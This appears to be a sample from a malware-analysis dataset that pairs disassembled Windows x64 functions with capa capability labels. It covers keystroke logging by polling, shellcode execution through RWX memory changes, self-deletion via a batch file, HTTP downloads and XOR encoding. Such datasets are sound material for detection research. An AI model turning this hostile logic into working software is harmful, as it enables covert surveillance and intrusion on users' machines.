joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004070
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x12e0]
mov eax, 0x13e0
call fcn.1400200f0
sub rsp, rax
mov rax, qword [0x14002f178]
xor rax, rsp
mov qword [rbp + 0x12d0], rax
mov rbx, rcx
cmp dword [0x140032220], 0
je 0x14000425a
cmp qword [0x140032228], 0
jne 0x14000425a
call fcn.140004290
test al, al
je 0x14000425a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.140003f50
nop
mov rdx, qword [rsp + 0x28]
mov r9, qword [rsp + 0x30]
cmp rdx, r9
je 0x14000427a
mov r8, qword [rdx]
cmp rbx, r8
jbe 0x140004111
mov rcx, qword [rdx + 0x18]
add rcx, r8
cmp rbx, rcx
jb 0x140004117
add rdx, 0x30
jmp 0x1400040f4
mov qword [0x140032228], r8
mov rax, qword [rdx + 0x18]
mov qword [0x140032230], rax
mov byte [0x140032238], 0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x12c4], 0xffffffff
mov dword [rsp + 0x44], eax
mov edx, 1
mov r8d, 0x270
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x44], eax
inc rdx
cmp rdx, r8
jb 0x140004150
mov dword [rsp + 0x40], r8d
lea r9, [rsp + 0x48]
nop word [rax + rax]
mov edx, dword [r9 - 4]
xor edx, dword [r9]
btr edx, 0x1f
xor edx, dword [r9 - 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x630]
shr edx, 1
xor ecx, edx
mov dword [r9 + 0x9bc], ecx
lea r9, [r9 + 4]
sub r8, 1
jne 0x140004180
mov r8d, dword [rsp + 0x40]
mov ecx, dword [rsp + r8*4 + 0x44]
mov eax, ecx
shr eax, 0xb
and eax, dword [rbp + 0x12c4]
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
mov dword [0x14003223c], eax
mov r8, qword [rsp + 0x28]
test r8, r8
je 0x14000425a
mov rcx, qword [rsp + 0x38]
sub rcx, r8
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 4
mov rax, r8
cmp rdx, 0x1000
jb 0x140004252
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004252
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.14001f07c
mov rcx, qword [rbp + 0x12d0]
xor rcx, rsp
call fcn.14001f020
mov rbx, qword [rsp + 0x13f8]
add rsp, 0x13e0
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140004330
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x14002f178]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor r14b, r14b
mov word [rsp + 0x20], 0xba49
mov word [rsp + 0x2a], 0xff41
lea rax, [0x140003ec0]
mov qword [rsp + 0x22], rax
mov rbx, r9
mov dword [rsp + 0x30], 0
mov rdi, rdx
mov esi, 0xd
test cl, cl
je 0x1400043db
test rbx, rbx
je 0x1400043a6
mov rcx, qword [r9 + 0x10]
test rcx, rcx
je 0x140004490
mov eax, dword [r9 + 0x18]
test eax, eax
je 0x140004490
mov r8d, eax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140004431
movsd xmm0, qword [rsp + 0x20]
mov r14b, 1
mov eax, dword [rsp + 0x28]
movsd qword [rdi], xmm0
mov dword [rdi + 8], eax
mov byte [rdi + 0xc], 0xe2
jmp 0x140004431
test rbx, rbx
je 0x140004490
cmp qword [r9], 0
je 0x140004490
mov eax, dword [r9 + 8]
test eax, eax
je 0x140004490
lea r9, [rsp + 0x30]
mov qword [rsp + 0x60], rbp
mov r8d, 0x40
mov edx, eax
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000442c
mov rdx, qword [rbx]
mov r8d, esi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r14b, 1
mov rbp, qword [rsp + 0x60]
mov rbx, qword [0x140032248]
test rbx, rbx
jne 0x140004464
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [0x140032248], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, esi
mov rdx, rdi
mov rcx, rax
call rbx
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, r14b
jmp 0x140004492
xor al, al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14001f020
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x1400044b0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14002f178]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp dword [0x140032220], 0
je 0x14000463e
cmp qword [0x140032228], 0
je 0x14000463e
cmp qword [0x140032230], 0
jbe 0x14000463e
call fcn.140004290
test al, al
je 0x14000463e
mov qword [rsp + 0x30], rbx
xor ebx, ebx
cmp byte [0x140032238], bl
mov dword [rsp + 0x20], ebx
je 0x140004519
mov r10d, dword [0x140032220]
cmp r10d, 2
jne 0x140004541
mov rdx, qword [0x140032230]
lea r9, [0x140032240]
mov rcx, qword [0x140032228]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r10d, dword [0x140032220]
mov edx, dword [0x14003223c]
mov r9, qword [0x140032230]
mov rcx, qword [0x140032228]
mov rax, r9
shr rax, 2
movd xmm2, edx
pshufd xmm2, xmm2, 0
test rax, rax
je 0x1400045dd
cmp rax, 0x10
jb 0x1400045d2
mov r11, rax
lea r8, [rcx + 0x20]
and r11, 0xfffffffffffffff0
nop dword [rax + rax]
movdqu xmm0, xmmword [r8 - 0x20]
add rbx, 0x10
lea r8, [r8 + 0x40]
pxor xmm0, xmm2
movdqu xmmword [r8 - 0x60], xmm0
movdqu xmm0, xmmword [r8 - 0x50]
pxor xmm0, xmm2
movdqu xmmword [r8 - 0x50], xmm0
movdqu xmm1, xmmword [r8 - 0x40]
pxor xmm1, xmm2
movdqu xmmword [r8 - 0x40], xmm1
movdqu xmm0, xmmword [r8 - 0x30]
pxor xmm0, xmm2
movdqu xmmword [r8 - 0x30], xmm0
cmp rbx, r11
jb 0x140004580
cmp rbx, rax
jae 0x1400045dd
xor dword [rcx + rbx*4], edx
inc rbx
cmp rbx, rax
jb 0x1400045d2
mov rbx, qword [rsp + 0x30]
lea rax, [rax*4]
cmp rax, r9
jae 0x1400045fb
nop
xor byte [rax + rcx], dl
inc rax
cmp rax, r9
jb 0x1400045f0
cmp byte [0x140032238], 0
jne 0x140004610
cmp r10d, 2
jne 0x140004630
lea r8d, [r10 - 1]
jmp 0x140004617
mov r8d, dword [0x140032240]
mov rdx, qword [0x140032230]
lea r9, [rsp + 0x20]
mov rcx, qword [0x140032228]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp byte [0x140032238], 0
sete byte [0x140032238]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14001f020
add rsp, 0x38
ret
Function at 0x140004bd0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x460
mov rax, qword [0x14002f178]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rbx, rdx
mov rsi, rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 1]
lea rcx, str.MyWinINet
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
cmp qword [rbx + 0x18], 8
jb 0x140004c2f
mov rbx, qword [rbx]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
mov qword [rsi], rdi
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 0xf
mov byte [rsi], dil
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x40], edi
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140004d0d
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x140004d0d
mov ebx, eax
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x140004cdb
lea rax, [rcx + rbx]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 0x10
jb 0x140004cc1
mov rax, qword [rsi]
lea rdi, [rax + rcx]
mov r8, rbx
lea rdx, [rsp + 0x50]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140004cf0
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x50]
mov rdx, rbx
mov rcx, rsi
call fcn.140008040
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140004c90
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rsi
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14001f020
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x14001a0c0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rdx
test r9, r9
je 0x14001a214
cmp r9, 4
jb 0x14001a10a
mov rdx, r9
shr rdx, 2
imul rax, rdx, 0xfffffffffffffffc
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
add r10, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub rdx, 1
jne 0x14001a0f0
xor r11d, r11d
test r9, r9
je 0x14001a214
cmp r9, 0x40
jb 0x14001a1f3
lea rdx, [rcx - 1]
lea rax, [r8 - 1]
add rdx, r9
add rax, r9
cmp rcx, rax
ja 0x14001a13c
cmp rdx, r8
jae 0x14001a1f3
lea rax, [r10 - 1]
add rax, r9
cmp rcx, rax
ja 0x14001a151
cmp rdx, r10
jae 0x14001a1f3
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov rsi, r9
and rsi, 0xffffffffffffffc0
mov qword [rsp], rdi
mov rdx, r10
lea rax, [r8 + 0x10]
sub rdx, r8
mov rbx, rcx
sub rbx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rdx + rax - 0x10]
movdqu xmm2, xmmword [rdx + rax]
lea rax, [rax + 0x40]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
pxor xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rdx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rdx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
pxor xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r11, rsi
jb 0x14001a180
mov rsi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x10]
mov rdi, qword [rsp]
cmp r11, r9
jae 0x14001a214
sub r10, r8
lea rdx, [r11 + r8]
sub rcx, r8
sub r9, r11
movzx eax, byte [rdx + r10]
xor al, byte [rdx]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x14001a200
add rsp, 8
ret

Function at 0x14001fda0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001fdea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001fdea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001fdea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001fdea
cmp dword [rcx + 0x84], 0xe
jbe 0x14001fdea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001fdec
xor al, al
add rsp, 0x28
ret
Function at 0x14002c1e0
Capabilities:
Access peb ldr_data
Get process filename

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
movabs r15, 0xd9c7fa76c0e4e520
movabs rbp, 0xd9c7fa7613c1d06f
movabs rbx, 0x263805896cc1cb9f
movabs r13, 0x8e191097882f223d
mov rax, qword [0x1400d1c50]
add rax, r13
call rax
mov rcx, qword [0x1400d1ea0]
movabs rsi, 0x39e4fa5af756787d
mov qword [rcx + rsi], rax
mov rax, qword gs:[0x60]
add rax, 0x18
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
add rax, 0x20
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x48], rax
lea rdi, [r15 - 0x240febd8]
mov r14d, 0xf8
movabs r12, 0x785594c40a89232f
lea r9, [rbp + 0xdd8b682]
lea rax, [rbp - 0x57cffb8]
mov qword [rsp + 0x60], rax
mov eax, 0x2525ad9d
sub rax, rbx
mov qword [rsp + 0x58], rax
mov ebx, 0xd8
mov qword [rsp + 0x30], r9
jmp 0x14002c2d6
mov rax, qword [rsp + 0x28]
cmp rax, rdi
mov ecx, 0x40
cmovl rcx, r14
add rcx, qword [0x1400d1ea8]
mov rcx, qword [rsi + rcx]
add rcx, r12
jmp rcx

Function at 0x140038c10
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140038d40
Function at 0x140002160
Capabilities:
Log keystrokes via polling

Disassembly:
push rsi
sub rsp, 0x60
mov rax, qword [0x140072010]
xor rax, rsp
mov qword [rsp + 0x30], rax
movzx eax, byte [0x1400d30a0]
mov rsi, rcx
test al, al
jne 0x1400021b8
movsxd rax, dword [rcx]
lea rcx, [0x14005ec10]
mov rcx, qword [rcx + rax*8]
call fcn.140040dc0
test al, al
je 0x14000235b
mov byte [0x1400d30a0], 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140058ba0
add rsp, 0x60
pop rsi
ret
cmp al, 1
jne 0x14000235b
mov qword [rsp + 0x78], rbx
lea rcx, [0x14005e1d8]
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], r14
vmovaps xmmword [rsp + 0x40], xmm6
call fcn.140040dc0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140002207
imul rax, rax, 0x64
jmp 0x140002225
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7ffffffffbd3e27f
lea rdi, [rax + 0x42c1d80]
cmp rax, rcx
jl 0x140002245
movabs rdi, 0x7fffffffffffffff
vmovsd xmm6, qword [0x140066398]
movabs rbp, 0x311cdad160000
movabs r14, 0x112e0be826d694b3
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14000227f
imul rbx, rax, 0x64
jmp 0x1400022a0
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
cmp rbx, rdi
jge 0x14000230f
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rdx, rax, 0x64
mov rax, rdi
sub rax, rbx
vxorps xmm0, xmm0, xmm0
vcvtsi2sd xmm0, xmm0, rax
vcomisd xmm0, xmm6
lea rcx, [rdx + rbp]
ja 0x1400022cc
lea rcx, [rax + rdx]
add rax, rdx
add rdx, rbp
vcomisd xmm0, xmm6
cmovbe rdx, rax
mov rax, r14
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0x3b9aca00
mov qword [rsp + 0x20], rdx
sub ecx, eax
mov dword [rsp + 0x28], ecx
lea rcx, [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x140002261
vmovaps xmm6, xmmword [rsp + 0x40]
lea rbx, [0x14005e970]
mov r14, qword [rsp + 0x50]
lea rdi, [0x14005ec08]
mov rbp, qword [rsp + 0x80]
mov ecx, dword [rbx]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140002348
mov eax, dword [rbx]
mov dword [rsi], eax
mov byte [0x1400d30a0], 0
add rbx, 4
cmp rbx, rdi
jne 0x140002330
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140058ba0
add rsp, 0x60
pop rsi
ret
Function at 0x140002e80
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
sub rsp, 0x38
call fcn.140002a60
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.del.bat
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x1400051c0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x1400051e1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000520e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140005210
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140005269
test ecx, ecx
jle 0x140005249
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140005269
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140005269
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
or eax, esp
invalid
Function at 0x140005290
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400052b2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x1400052c1
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400052e4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400052e6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140005322
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400053be
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000535d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000539e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400053be
cmp rbx, rax
ja 0x140005370
test rbx, rbx
je 0x1400053be
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
xor eax, 0x26221711
cmp eax, 0x13f3401
and esp, dword [rdx]
cmp eax, 0x3b363401
add dword [rdx], esi
invalid
Function at 0x1400057f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140072010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000581d
xor eax, eax
jmp 0x140005989
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005857
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140005857
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140005989
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000597c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000589a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400058c5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140005981
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005934
sub eax, 1
je 0x140005934
cmp eax, 2
jne 0x14000597c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140005981
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140005962
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000597c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140005981
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140058ba0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400061d0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140072010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400062a3
cmp byte [rcx + 0x71], 0
je 0x1400062a3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000629f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140006264
sub eax, 1
je 0x140006268
cmp eax, 2
jne 0x14000629f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140058ba0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140006296
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000629f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000624c
xor al, al
jmp 0x14000624c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140058ba0
add rsp, 0x60
pop rbx
ret